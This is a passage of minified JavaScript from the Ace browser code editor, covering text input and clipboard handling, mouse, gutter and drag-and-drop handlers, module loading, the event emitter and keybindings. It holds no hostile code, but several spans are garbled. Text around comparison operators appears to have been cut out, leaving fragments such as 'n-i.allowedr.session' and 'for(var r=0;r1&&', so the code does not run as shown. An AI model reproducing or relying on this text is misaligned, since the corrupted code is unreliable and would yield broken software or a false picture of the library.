0:t.onCommandKey(null,0,a.up);break;case 1:t.onCommandKey(null,0,a.home);break;case 2:t.onCommandKey(null,l.option,a.left);break;case 4:t.onCommandKey(null,0,a.left);break;case 5:t.onCommandKey(null,0,a.right);break;case 7:t.onCommandKey(null,l.option,a.right);break;case 8:t.onCommandKey(null,0,a.end);break;case 9:t.onCommandKey(null,0,a.down);break}else{switch(s){case 6:t.onCommandKey(null,l.shift,a.right);break;case 7:t.onCommandKey(null,l.shift|l.option,a.right);break;case 8:t.onCommandKey(null,l.shift,a.end);break;case 9:t.onCommandKey(null,l.shift,a.down);break}switch(n){case 0:t.onCommandKey(null,l.shift,a.up);break;case 1:t.onCommandKey(null,l.shift,a.home);break;case 2:t.onCommandKey(null,l.shift|l.option,a.left);break;case 3:t.onCommandKey(null,l.shift,a.left);break}}}};document.addEventListener("selectionchange",V),t.on("destroy",(function(){document.removeEventListener("selectionchange",V)}))}};t.TextInput=u})),ace.define("ace/keyboard/textinput",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/keyboard/textinput_ios"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=e("../lib/dom"),r=e("../lib/lang"),a=s.isChrome<18,l=s.isIE,c=e("./textinput_ios").TextInput,h=function(e,t){if(s.isIOS)return c.call(this,e,t);var i=o.createElement("textarea");i.className="ace_text-input",i.setAttribute("wrap","off"),i.setAttribute("autocorrect","off"),i.setAttribute("autocapitalize","off"),i.setAttribute("spellcheck",!1),i.style.opacity="0",e.insertBefore(i,e.firstChild);var h="\u2028\u2028",u=!1,d=!1,g=!1,f="",p=!0;try{var m=document.activeElement===i}catch(P){}n.addListener(i,"blur",(function(e){t.onBlur(e),m=!1})),n.addListener(i,"focus",(function(e){m=!0,t.onFocus(e),C()})),this.focus=function(){if(f)return i.focus();var e=i.style.top;i.style.position="fixed",i.style.top="0px",i.focus(),setTimeout((function(){i.style.position="","0px"==i.style.top&&(i.style.top=e)}),0)},this.blur=function(){i.blur()},this.isFocused=function(){return m};var A=r.delayedCall((function(){m&&C(p)})),v=r.delayedCall((function(){g||(i.value=h,m&&C())}));function C(e){if(!g){if(g=!0,E)var t=0,n=e?0:i.value.length-1;else t=e?2:1,n=2;try{i.setSelectionRange(t,n)}catch(P){}g=!1}}function w(){g||(i.value=h,s.isWebKit&&v.schedule())}s.isWebKit||t.addEventListener("changeSelection",(function(){t.selection.isEmpty()!=p&&(p=!p,A.schedule())})),w(),m&&t.onFocus();var F=function(e){return 0===e.selectionStart&&e.selectionEnd===e.value.length},b=function(e){u?u=!1:F(i)?(t.selectAll(),C()):E&&C(t.selection.isEmpty())},E=null;this.setInputHandler=function(e){E=e},this.getInputHandler=function(){return E};var y=!1,$=function(e){E&&(e=E(e),E=null),d?(C(),e&&t.onPaste(e),d=!1):e==h.charAt(0)?y?t.execCommand("del",{source:"ace"}):t.execCommand("backspace",{source:"ace"}):(e.substring(0,2)==h?e=e.substr(2):e.charAt(0)==h.charAt(0)?e=e.substr(1):e.charAt(e.length-1)==h.charAt(0)&&(e=e.slice(0,-1)),e.charAt(e.length-1)==h.charAt(0)&&(e=e.slice(0,-1)),e&&t.onTextInput(e)),y&&(y=!1)},S=function(e){if(!g){var t=i.value;$(t),w()}},x=function(e,t,i){var n=e.clipboardData||window.clipboardData;if(n&&!a){var s=l||i?"Text":"text/plain";try{return t?!1!==n.setData(s,t):n.getData(s)}catch(e){if(!i)return x(e,t,!0)}}},B=function(e,s){var o=t.getCopyText();if(!o)return n.preventDefault(e);x(e,o)?(s?t.onCut():t.onCopy(),n.preventDefault(e)):(u=!0,i.value=o,i.select(),setTimeout((function(){u=!1,w(),C(),s?t.onCut():t.onCopy()})))},k=function(e){B(e,!0)},D=function(e){B(e,!1)},L=function(e){var o=x(e);"string"==typeof o?(o&&t.onPaste(o,e),s.isIE&&setTimeout(C),n.preventDefault(e)):(i.value="",d=!0)};n.addCommandKeyListener(i,t.onCommandKey.bind(t)),n.addListener(i,"select",b),n.addListener(i,"input",S),n.addListener(i,"cut",k),n.addListener(i,"copy",D),n.addListener(i,"paste",L),"oncut"in i&&"oncopy"in i&&"onpaste"in i||n.addListener(e,"keydown",(function(e){if((!s.isMac||e.metaKey)&&e.ctrlKey)switch(e.keyCode){case 67:D(e);break;case 86:L(e);break;case 88:k(e);break}}));var R,_=function(e){g||!t.onCompositionStart||t.$readOnly||(g={},g.canUndo=t.session.$undoManager,t.onCompositionStart(),setTimeout(T,0),t.on("mousedown",M),g.canUndo&&!t.selection.isEmpty()&&(t.insert(""),t.session.markUndoGroup(),t.selection.clearSelection()),t.session.markUndoGroup())},T=function(){if(g&&t.onCompositionUpdate&&!t.$readOnly){var e=i.value.replace(/\u2028/g,"");if(g.lastValue!==e&&(t.onCompositionUpdate(e),g.lastValue&&t.undo(),g.canUndo&&(g.lastValue=e),g.lastValue)){var n=t.selection.getRange();t.insert(g.lastValue),t.session.markUndoGroup(),g.range=t.selection.getRange(),t.selection.setRange(n),t.selection.clearSelection()}}},M=function(e){if(t.onCompositionEnd&&!t.$readOnly){var n=g;g=!1;var o=setTimeout((function(){o=null;var e=i.value.replace(/\u2028/g,"");g||(e==n.lastValue?w():!n.lastValue&&e&&(w(),$(e)))}));E=function(e){return o&&clearTimeout(o),e=e.replace(/\u2028/g,""),e==n.lastValue?"":(n.lastValue&&o&&t.undo(),e)},t.onCompositionEnd(),t.removeListener("mousedown",M),"compositionend"==e.type&&n.range&&t.selection.setRange(n.range);var r=!!s.isChrome&&s.isChrome>=53||!!s.isWebKit&&s.isWebKit>=603;r&&S()}},O=r.delayedCall(T,50);function I(){clearTimeout(R),R=setTimeout((function(){f&&(i.style.cssText=f,f=""),null==t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=!0,t.renderer.$moveTextAreaToCursor())}),0)}n.addListener(i,"compositionstart",_),s.isGecko?n.addListener(i,"text",(function(){O.schedule()})):(n.addListener(i,"keyup",(function(){O.schedule()})),n.addListener(i,"keydown",(function(){O.schedule()}))),n.addListener(i,"compositionend",M),this.getElement=function(){return i},this.setReadOnly=function(e){i.readOnly=e},this.onContextMenu=function(e){y=!0,C(t.selection.isEmpty()),t._emit("nativecontextmenu",{target:t,domEvent:e}),this.moveToMouse(e,!0)},this.moveToMouse=function(e,r){f||(f=i.style.cssText),i.style.cssText=(r?"z-index:100000;":"")+"height:"+i.style.height+";"+(s.isIE?"opacity:0.1;":"");var a=t.container.getBoundingClientRect(),l=o.computedStyle(t.container),c=a.top+(parseInt(l.borderTopWidth)||0),h=a.left+(parseInt(a.borderLeftWidth)||0),u=a.bottom-c-i.clientHeight-2,d=function(e){i.style.left=e.clientX-h-2+"px",i.style.top=Math.min(e.clientY-c-2,u)+"px"};d(e),"mousedown"==e.type&&(t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=null),clearTimeout(R),s.isWin&&n.capture(t.container,d,I))},this.onContextMenuClose=I;var W=function(e){t.textInput.onContextMenu(e),I()};n.addListener(i,"mouseup",W),n.addListener(i,"mousedown",(function(e){e.preventDefault(),I()})),n.addListener(t.renderer.scroller,"contextmenu",W),n.addListener(i,"contextmenu",W)};t.TextInput=h})),ace.define("ace/mouse/default_handlers",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";e("../lib/dom"),e("../lib/event");var n=e("../lib/useragent"),s=0,o=250;function r(e){e.$clickSelection=null;var t=e.editor;t.setDefaultHandler("mousedown",this.onMouseDown.bind(e)),t.setDefaultHandler("dblclick",this.onDoubleClick.bind(e)),t.setDefaultHandler("tripleclick",this.onTripleClick.bind(e)),t.setDefaultHandler("quadclick",this.onQuadClick.bind(e)),t.setDefaultHandler("mousewheel",this.onMouseWheel.bind(e)),t.setDefaultHandler("touchmove",this.onTouchMove.bind(e));var i=["select","startSelect","selectEnd","selectAllEnd","selectByWordsEnd","selectByLinesEnd","dragWait","dragWaitEnd","focusWait"];i.forEach((function(t){e[t]=this[t]}),this),e.selectByLines=this.extendSelectionBy.bind(e,"getLineRange"),e.selectByWords=this.extendSelectionBy.bind(e,"getWordRange")}function a(e,t,i,n){return Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))}function l(e,t){if(e.start.row==e.end.row)var i=2*t.column-e.start.column-e.end.column;else if(e.start.row!=e.end.row-1||e.start.column||e.end.column)i=2*t.row-e.start.row-e.end.row;else var i=t.column-4;return i<0?{cursor:e.start,anchor:e.end}:{cursor:e.end,anchor:e.start}}(function(){this.onMouseDown=function(e){var t=e.inSelection(),i=e.getDocumentPosition();this.mousedownEvent=e;var s=this.editor,o=e.getButton();if(0!==o){var r=s.getSelectionRange(),a=r.isEmpty();return s.$blockScrolling++,(a||1==o)&&s.selection.moveToPosition(i),s.$blockScrolling--,void(2==o&&(s.textInput.onContextMenu(e.domEvent),n.isMozilla||e.preventDefault()))}return this.mousedownEvent.time=Date.now(),!t||s.isFocused()||(s.focus(),!this.$focusTimout||this.$clickSelection||s.inMultiSelectMode)?(this.captureMouse(e),this.startSelect(i,e.domEvent._clicks>1),e.preventDefault()):(this.setState("focusWait"),void this.captureMouse(e))},this.startSelect=function(e,t){e=e||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var i=this.editor;i.$blockScrolling++,this.mousedownEvent.getShiftKey()?i.selection.selectToPosition(e):t||i.selection.moveToPosition(e),t||this.select(),i.renderer.scroller.setCapture&&i.renderer.scroller.setCapture(),i.setStyle("ace_selecting"),this.setState("select"),i.$blockScrolling--},this.select=function(){var e,t=this.editor,i=t.renderer.screenToTextCoordinates(this.x,this.y);if(t.$blockScrolling++,this.$clickSelection){var n=this.$clickSelection.comparePoint(i);if(-1==n)e=this.$clickSelection.end;else if(1==n)e=this.$clickSelection.start;else{var s=l(this.$clickSelection,i);i=s.cursor,e=s.anchor}t.selection.setSelectionAnchor(e.row,e.column)}t.selection.selectToPosition(i),t.$blockScrolling--,t.renderer.scrollCursorIntoView()},this.extendSelectionBy=function(e){var t,i=this.editor,n=i.renderer.screenToTextCoordinates(this.x,this.y),s=i.selection[e](n.row,n.column);if(i.$blockScrolling++,this.$clickSelection){var o=this.$clickSelection.comparePoint(s.start),r=this.$clickSelection.comparePoint(s.end);if(-1==o&&r<=0)t=this.$clickSelection.end,s.end.row==n.row&&s.end.column==n.column||(n=s.start);else if(1==r&&o>=0)t=this.$clickSelection.start,s.start.row==n.row&&s.start.column==n.column||(n=s.end);else if(-1==o&&1==r)n=s.end,t=s.start;else{var a=l(this.$clickSelection,n);n=a.cursor,t=a.anchor}i.selection.setSelectionAnchor(t.row,t.column)}i.selection.selectToPosition(n),i.$blockScrolling--,i.renderer.scrollCursorIntoView()},this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null,this.editor.unsetStyle("ace_selecting"),this.editor.renderer.scroller.releaseCapture&&this.editor.renderer.scroller.releaseCapture()},this.focusWait=function(){var e=a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y),t=Date.now();(e>s||t-this.mousedownEvent.time>this.$focusTimout)&&this.startSelect(this.mousedownEvent.getDocumentPosition())},this.onDoubleClick=function(e){var t=e.getDocumentPosition(),i=this.editor,n=i.session,s=n.getBracketRange(t);s?(s.isEmpty()&&(s.start.column--,s.end.column++),this.setState("select")):(s=i.selection.getWordRange(t.row,t.column),this.setState("selectByWords")),this.$clickSelection=s,this.select()},this.onTripleClick=function(e){var t=e.getDocumentPosition(),i=this.editor;this.setState("selectByLines");var n=i.getSelectionRange();n.isMultiLine()&&n.contains(t.row,t.column)?(this.$clickSelection=i.selection.getLineRange(n.start.row),this.$clickSelection.end=i.selection.getLineRange(n.end.row).end):this.$clickSelection=i.selection.getLineRange(t.row),this.select()},this.onQuadClick=function(e){var t=this.editor;t.selectAll(),this.$clickSelection=t.getSelectionRange(),this.setState("selectAll")},this.onMouseWheel=function(e){if(!e.getAccelKey()){e.getShiftKey()&&e.wheelY&&!e.wheelX&&(e.wheelX=e.wheelY,e.wheelY=0);var t=this.editor;this.$lastScroll||(this.$lastScroll={t:0,vx:0,vy:0,allowed:0});var i=this.$lastScroll,n=e.domEvent.timeStamp,s=n-i.t,r=e.wheelX/s,a=e.wheelY/s;s=1&&t.renderer.isScrollableBy(e.wheelX*e.speed,0)&&(c=!0),l<=1&&t.renderer.isScrollableBy(0,e.wheelY*e.speed)&&(c=!0),c)i.allowed=n;else if(n-i.allowedr.session.documentToScreenRow(h.row,h.column))return u()}if(s!=n)if(s=n.text.join("
"),c.setHtml(s),c.show(),r._signal("showGutterTooltip",c),r.on("mousewheel",u),e.$tooltipFollowsMouse)d(i);else{var g=i.domEvent.target,f=g.getBoundingClientRect(),p=c.getElement().style;p.left=f.right+"px",p.top=f.bottom+"px"}}function u(){t&&(t=clearTimeout(t)),s&&(c.hide(),s=null,r._signal("hideGutterTooltip",c),r.removeEventListener("mousewheel",u))}function d(e){c.setPosition(e.x,e.y)}e.editor.setDefaultHandler("guttermousedown",(function(t){if(r.isFocused()&&0==t.getButton()){var i=a.getRegion(t);if("foldWidgets"!=i){var n=t.getDocumentPosition().row,s=r.session.selection;if(t.getShiftKey())s.selectTo(n,0);else{if(2==t.domEvent.detail)return r.selectAll(),t.preventDefault();e.$clickSelection=r.selection.getLineRange(n)}return e.setState("selectByLines"),e.captureMouse(t),t.preventDefault()}}})),e.editor.setDefaultHandler("guttermousemove",(function(o){var r=o.domEvent.target||o.domEvent.srcElement;if(n.hasCssClass(r,"ace_fold-widget"))return u();s&&e.$tooltipFollowsMouse&&d(o),i=o,t||(t=setTimeout((function(){t=null,i&&!e.isMousePressed?h():u()}),50))})),o.addListener(r.renderer.$gutter,"mouseout",(function(e){i=null,s&&!t&&(t=setTimeout((function(){t=null,u()}),50))})),r.on("changeSession",u)}function l(e){r.call(this,e)}s.inherits(l,r),function(){this.setPosition=function(e,t){var i=window.innerWidth||document.documentElement.clientWidth,n=window.innerHeight||document.documentElement.clientHeight,s=this.getWidth(),o=this.getHeight();e+=15,t+=15,e+s>i&&(e-=e+s-i),t+o>n&&(t-=20+o),r.prototype.setPosition.call(this,e,t)}}.call(l.prototype),t.GutterHandler=a})),ace.define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=t.MouseEvent=function(e,t){this.domEvent=e,this.editor=t,this.x=this.clientX=e.clientX,this.y=this.clientY=e.clientY,this.$pos=null,this.$inSelection=null,this.propagationStopped=!1,this.defaultPrevented=!1};(function(){this.stopPropagation=function(){n.stopPropagation(this.domEvent),this.propagationStopped=!0},this.preventDefault=function(){n.preventDefault(this.domEvent),this.defaultPrevented=!0},this.stop=function(){this.stopPropagation(),this.preventDefault()},this.getDocumentPosition=function(){return this.$pos||(this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY)),this.$pos},this.inSelection=function(){if(null!==this.$inSelection)return this.$inSelection;var e=this.editor,t=e.getSelectionRange();if(t.isEmpty())this.$inSelection=!1;else{var i=this.getDocumentPosition();this.$inSelection=t.contains(i.row,i.column)}return this.$inSelection},this.getButton=function(){return n.getButton(this.domEvent)},this.getShiftKey=function(){return this.domEvent.shiftKey},this.getAccelKey=s.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(o.prototype)})),ace.define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/event"),o=e("../lib/useragent"),r=200,a=200,l=5;function c(e){var t=e.editor,i=n.createElement("img");i.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",o.isOpera&&(i.style.cssText="width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;");var c=["dragWait","dragWaitEnd","startDrag","dragReadyEnd","onMouseDrag"];c.forEach((function(t){e[t]=this[t]}),this),t.addEventListener("mousedown",this.onMouseDown.bind(e));var u,d,g,f,p,m,A,v,C,w,F,b=t.container,E=0;function y(e,i){var n=Date.now(),s=!i||e.row!=i.row,o=!i||e.column!=i.column;if(!w||s||o)t.$blockScrolling+=1,t.moveCursorToPosition(e),t.$blockScrolling-=1,w=n,F={x:d,y:g};else{var r=h(F.x,F.y,d,g);r>l?w=null:n-w>=a&&(t.renderer.scrollCursorIntoView(),w=null)}}function $(e,i){var n=Date.now(),s=t.renderer.layerConfig.lineHeight,o=t.renderer.layerConfig.characterWidth,a=t.renderer.scroller.getBoundingClientRect(),l={x:{left:d-a.left,right:a.right-d},y:{top:g-a.top,bottom:a.bottom-g}},c=Math.min(l.x.left,l.x.right),h=Math.min(l.y.top,l.y.bottom),u={row:e.row,column:e.column};c/o<=2&&(u.column+=l.x.left=r&&t.renderer.scrollCursorIntoView(u):C=n:C=null}function S(){var e=m;m=t.renderer.screenToTextCoordinates(d,g),y(m,e),$(m,e)}function x(){p=t.selection.toOrientedRange(),u=t.session.addMarker(p,"ace_selection",t.getSelectionStyle()),t.clearSelection(),t.isFocused()&&t.renderer.$cursorLayer.setBlinking(!1),clearInterval(f),S(),f=setInterval(S,20),E=0,s.addListener(document,"mousemove",D)}function B(){clearInterval(f),t.session.removeMarker(u),u=null,t.$blockScrolling+=1,t.selection.fromOrientedRange(p),t.$blockScrolling-=1,t.isFocused()&&!v&&t.renderer.$cursorLayer.setBlinking(!t.getReadOnly()),p=null,m=null,E=0,C=null,w=null,s.removeListener(document,"mousemove",D)}this.onDragStart=function(e){if(this.cancelDrag||!b.draggable){var n=this;return setTimeout((function(){n.startSelect(),n.captureMouse(e)}),0),e.preventDefault()}p=t.getSelectionRange();var s=e.dataTransfer;s.effectAllowed=t.getReadOnly()?"copy":"copyMove",o.isOpera&&(t.container.appendChild(i),i.scrollTop=0),s.setDragImage&&s.setDragImage(i,0,0),o.isOpera&&t.container.removeChild(i),s.clearData(),s.setData("Text",t.session.getTextRange()),v=!0,this.setState("drag")},this.onDragEnd=function(e){if(b.draggable=!1,v=!1,this.setState(null),!t.getReadOnly()){var i=e.dataTransfer.dropEffect;A||"move"!=i||t.session.remove(t.getSelectionRange()),t.renderer.$cursorLayer.setBlinking(!0)}this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle("")},this.onDragEnter=function(e){if(!t.getReadOnly()&&L(e.dataTransfer))return d=e.clientX,g=e.clientY,u||x(),E++,e.dataTransfer.dropEffect=A=R(e),s.preventDefault(e)},this.onDragOver=function(e){if(!t.getReadOnly()&&L(e.dataTransfer))return d=e.clientX,g=e.clientY,u||(x(),E++),null!==k&&(k=null),e.dataTransfer.dropEffect=A=R(e),s.preventDefault(e)},this.onDragLeave=function(e){if(E--,E<=0&&u)return B(),A=null,s.preventDefault(e)},this.onDrop=function(e){if(m){var i=e.dataTransfer;if(v)switch(A){case"move":p=p.contains(m.row,m.column)?{start:m,end:m}:t.moveText(p,m);break;case"copy":p=t.moveText(p,m,!0);break}else{var n=i.getData("Text");p={start:m,end:t.session.insert(m,n)},t.focus(),A=null}return B(),s.preventDefault(e)}},s.addListener(b,"dragstart",this.onDragStart.bind(e)),s.addListener(b,"dragend",this.onDragEnd.bind(e)),s.addListener(b,"dragenter",this.onDragEnter.bind(e)),s.addListener(b,"dragover",this.onDragOver.bind(e)),s.addListener(b,"dragleave",this.onDragLeave.bind(e)),s.addListener(b,"drop",this.onDrop.bind(e));var k=null;function D(){null==k&&(k=setTimeout((function(){null!=k&&u&&B()}),20))}function L(e){var t=e.types;return!t||Array.prototype.some.call(t,(function(e){return"text/plain"==e||"Text"==e}))}function R(e){var t=["copy","copymove","all","uninitialized"],i=["move","copymove","linkmove","all","uninitialized"],n=o.isMac?e.altKey:e.ctrlKey,s="uninitialized";try{s=e.dataTransfer.effectAllowed.toLowerCase()}catch(e){}var r="none";return n&&t.indexOf(s)>=0?r="copy":i.indexOf(s)>=0?r="move":t.indexOf(s)>=0&&(r="copy"),r}}function h(e,t,i,n){return Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))}(function(){this.dragWait=function(){var e=Date.now()-this.mousedownEvent.time;e>this.editor.getDragDelay()&&this.startDrag()},this.dragWaitEnd=function(){var e=this.editor.container;e.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()),this.selectEnd()},this.dragReadyEnd=function(e){this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly()),this.editor.unsetStyle("ace_dragging"),this.editor.renderer.setCursorStyle(""),this.dragWaitEnd()},this.startDrag=function(){this.cancelDrag=!1;var e=this.editor,t=e.container;t.draggable=!0,e.renderer.$cursorLayer.setBlinking(!1),e.setStyle("ace_dragging");var i=o.isWin?"default":"move";e.renderer.setCursorStyle(i),this.setState("dragReady")},this.onMouseDrag=function(e){var t=this.editor.container;if(o.isIE&&"dragReady"==this.state){var i=h(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);i>3&&t.dragDrop()}if("dragWait"===this.state){i=h(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);i>0&&(t.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()))}},this.onMouseDown=function(e){if(this.$dragEnabled){this.mousedownEvent=e;var t=this.editor,i=e.inSelection(),n=e.getButton(),s=e.domEvent.detail||1;if(1===s&&0===n&&i){if(e.editor.inMultiSelectMode&&(e.getAccelKey()||e.getShiftKey()))return;this.mousedownEvent.time=Date.now();var r=e.domEvent.target||e.domEvent.srcElement;if("unselectable"in r&&(r.unselectable="on"),t.getDragDelay()){if(o.isWebKit){this.cancelDrag=!0;var a=t.container;a.draggable=!0}this.setState("dragWait")}else this.startDrag();this.captureMouse(e,this.onMouseDrag.bind(this)),e.defaultPrevented=!0}}}}).call(c.prototype),t.DragdropHandler=c})),ace.define("ace/lib/net",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./dom");t.get=function(e,t){var i=new XMLHttpRequest;i.open("GET",e,!0),i.onreadystatechange=function(){4===i.readyState&&t(i.responseText)},i.send(null)},t.loadScript=function(e,t){var i=n.getDocumentHead(),s=document.createElement("script");s.src=e,i.appendChild(s),s.onload=s.onreadystatechange=function(e,i){!i&&s.readyState&&"loaded"!=s.readyState&&"complete"!=s.readyState||(s=s.onload=s.onreadystatechange=null,i||t())}},t.qualifyURL=function(e){var t=document.createElement("a");return t.href=e,t.href}})),ace.define("ace/lib/event_emitter",["require","exports","module"],(function(e,t,i){"use strict";var n={},s=function(){this.propagationStopped=!0},o=function(){this.defaultPrevented=!0};n._emit=n._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var i=this._eventRegistry[e]||[],n=this._defaultHandlers[e];if(i.length||n){"object"==typeof t&&t||(t={}),t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=s),t.preventDefault||(t.preventDefault=o),i=i.slice();for(var r=0;r1&&(s=i[i.length-2]);var r=l[t+"Path"];return null==r?r=l.basePath:"/"==n&&(t=n=""),r&&"/"!=r.slice(-1)&&(r+="/"),r+t+n+s+this.get("suffix")},t.setModuleUrl=function(e,t){return l.$moduleUrls[e]=t},t.$loading={},t.loadModule=function(i,n){var s,r;Array.isArray(i)&&(r=i[0],i=i[1]);try{s=e(i)}catch(l){}if(s&&!t.$loading[i])return n&&n(s);if(t.$loading[i]||(t.$loading[i]=[]),t.$loading[i].push(n),!(t.$loading[i].length>1)){var a=function(){e([i],(function(e){t._emit("load.module",{name:i,module:e});var n=t.$loading[i];t.$loading[i]=null,n.forEach((function(t){t&&t(e)}))}))};if(!t.get("packaged"))return a();o.loadScript(t.moduleUrl(i,r),a)}},c(!0),t.init=c})),ace.define("ace/mouse/mouse_handler",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/mouse/default_handlers","ace/mouse/default_gutter_handler","ace/mouse/mouse_event","ace/mouse/dragdrop_handler","ace/config"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=e("./default_handlers").DefaultHandlers,r=e("./default_gutter_handler").GutterHandler,a=e("./mouse_event").MouseEvent,l=e("./dragdrop_handler").DragdropHandler,c=e("../config"),h=function(e){var t=this;this.editor=e,new o(this),new r(this),new l(this);var i=function(t){var i=!document.hasFocus||!document.hasFocus()||!e.isFocused()&&document.activeElement==(e.textInput&&e.textInput.getElement());i&&window.focus(),e.focus()},a=e.renderer.getMouseEventTarget();n.addListener(a,"click",this.onMouseEvent.bind(this,"click")),n.addListener(a,"mousemove",this.onMouseMove.bind(this,"mousemove")),n.addMultiMouseDownListener([a,e.renderer.scrollBarV&&e.renderer.scrollBarV.inner,e.renderer.scrollBarH&&e.renderer.scrollBarH.inner,e.textInput&&e.textInput.getElement()].filter(Boolean),[400,300,250],this,"onMouseEvent"),n.addMouseWheelListener(e.container,this.onMouseWheel.bind(this,"mousewheel")),n.addTouchMoveListener(e.container,this.onTouchMove.bind(this,"touchmove"));var c=e.renderer.$gutter;n.addListener(c,"mousedown",this.onMouseEvent.bind(this,"guttermousedown")),n.addListener(c,"click",this.onMouseEvent.bind(this,"gutterclick")),n.addListener(c,"dblclick",this.onMouseEvent.bind(this,"gutterdblclick")),n.addListener(c,"mousemove",this.onMouseEvent.bind(this,"guttermousemove")),n.addListener(a,"mousedown",i),n.addListener(c,"mousedown",i),s.isIE&&e.renderer.scrollBarV&&(n.addListener(e.renderer.scrollBarV.element,"mousedown",i),n.addListener(e.renderer.scrollBarH.element,"mousedown",i)),e.on("mousemove",(function(i){if(!t.state&&!t.$dragDelay&&t.$dragEnabled){var n=e.renderer.screenToTextCoordinates(i.x,i.y),s=e.session.selection.getRange(),o=e.renderer;!s.isEmpty()&&s.insideStart(n.row,n.column)?o.setCursorStyle("default"):o.setCursorStyle("")}}))};(function(){this.onMouseEvent=function(e,t){this.editor._emit(e,new a(t,this.editor))},this.onMouseMove=function(e,t){var i=this.editor._eventRegistry&&this.editor._eventRegistry.mousemove;i&&i.length&&this.editor._emit(e,new a(t,this.editor))},this.onMouseWheel=function(e,t){var i=new a(t,this.editor);i.speed=2*this.$scrollSpeed,i.wheelX=t.wheelX,i.wheelY=t.wheelY,this.editor._emit(e,i)},this.onTouchMove=function(e,t){var i=new a(t,this.editor);i.speed=1,i.wheelX=t.wheelX,i.wheelY=t.wheelY,this.editor._emit(e,i)},this.setState=function(e){this.state=e},this.captureMouse=function(e,t){this.x=e.x,this.y=e.y,this.isMousePressed=!0;var i=this.editor.renderer;i.$keepTextAreaAtCursor&&(i.$keepTextAreaAtCursor=null);var o=this,r=function(e){if(e){if(s.isWebKit&&!e.which&&o.releaseMouse)return o.releaseMouse();o.x=e.clientX,o.y=e.clientY,t&&t(e),o.mouseEvent=new a(e,o.editor),o.$mouseMoved=!0}},l=function(e){clearInterval(h),c(),o[o.state+"End"]&&o[o.state+"End"](e),o.state="",null==i.$keepTextAreaAtCursor&&(i.$keepTextAreaAtCursor=!0,i.$moveTextAreaToCursor()),o.isMousePressed=!1,o.$onCaptureMouseMove=o.releaseMouse=null,e&&o.onMouseEvent("mouseup",e)},c=function(){o[o.state]&&o[o.state](),o.$mouseMoved=!1};if(s.isOldIE&&"dblclick"==e.domEvent.type)return setTimeout((function(){l(e)}));o.$onCaptureMouseMove=r,o.releaseMouse=n.capture(this.editor.container,r,l);var h=setInterval(c,20)},this.releaseMouse=null,this.cancelContextMenu=function(){var e=function(t){t&&t.domEvent&&"contextmenu"!=t.domEvent.type||(this.editor.off("nativecontextmenu",e),t&&t.domEvent&&n.stopEvent(t.domEvent))}.bind(this);setTimeout(e,10),this.editor.on("nativecontextmenu",e)}}).call(h.prototype),c.defineOptions(h.prototype,"mouseHandler",{scrollSpeed:{initialValue:2},dragDelay:{initialValue:s.isMac?150:0},dragEnabled:{initialValue:!0},focusTimout:{initialValue:0},tooltipFollowsMouse:{initialValue:!0}}),t.MouseHandler=h})),ace.define("ace/mouse/fold_handler",["require","exports","module"],(function(e,t,i){"use strict";function n(e){e.on("click",(function(t){var i=t.getDocumentPosition(),n=e.session,s=n.getFoldAt(i.row,i.column,1);s&&(t.getAccelKey()?n.removeFold(s):n.expandFold(s),t.stop())})),e.on("gutterclick",(function(t){var i=e.renderer.$gutterLayer.getRegion(t);if("foldWidgets"==i){var n=t.getDocumentPosition().row,s=e.session;s.foldWidgets&&s.foldWidgets[n]&&e.session.onFoldWidgetClick(n,t),e.isFocused()||e.focus(),t.stop()}})),e.on("gutterdblclick",(function(t){var i=e.renderer.$gutterLayer.getRegion(t);if("foldWidgets"==i){var n=t.getDocumentPosition().row,s=e.session,o=s.getParentFoldRangeData(n,!0),r=o.range||o.firstRange;if(r){n=r.start.row;var a=s.getFoldAt(n,s.getLine(n).length,1);a?s.removeFold(a):(s.addFold("...",r),e.renderer.scrollCursorIntoView({row:r.start.row,column:0}))}t.stop()}}))}t.FoldHandler=n})),ace.define("ace/keyboard/keybinding",["require","exports","module","ace/lib/keys","ace/lib/event"],(function(e,t,i){"use strict";var n=e("../lib/keys"),s=e("../lib/event"),o=function(e){this.$editor=e,this.$data={editor:e},this.$handlers=[],this.setDefaultHandler(e.commands)};(function(){this.setDefaultHandler=function(e){this.removeKeyboardHandler(this.$defaultHandler),this.$defaultHandler=e,this.addKeyboardHandler(e,0)},this.setKeyboardHandler=function(e){var t=this.$handlers;if(t[t.length-1]!=e){while(t[t.length-1]&&t[t.length-1]!=this.$defaultHandler)this.removeKeyboardHandler(t[t.length-1]);this.addKeyboardHandler(e,1)}},this.addKeyboardHandler=function(e,t){if(e){"function"!=typeof 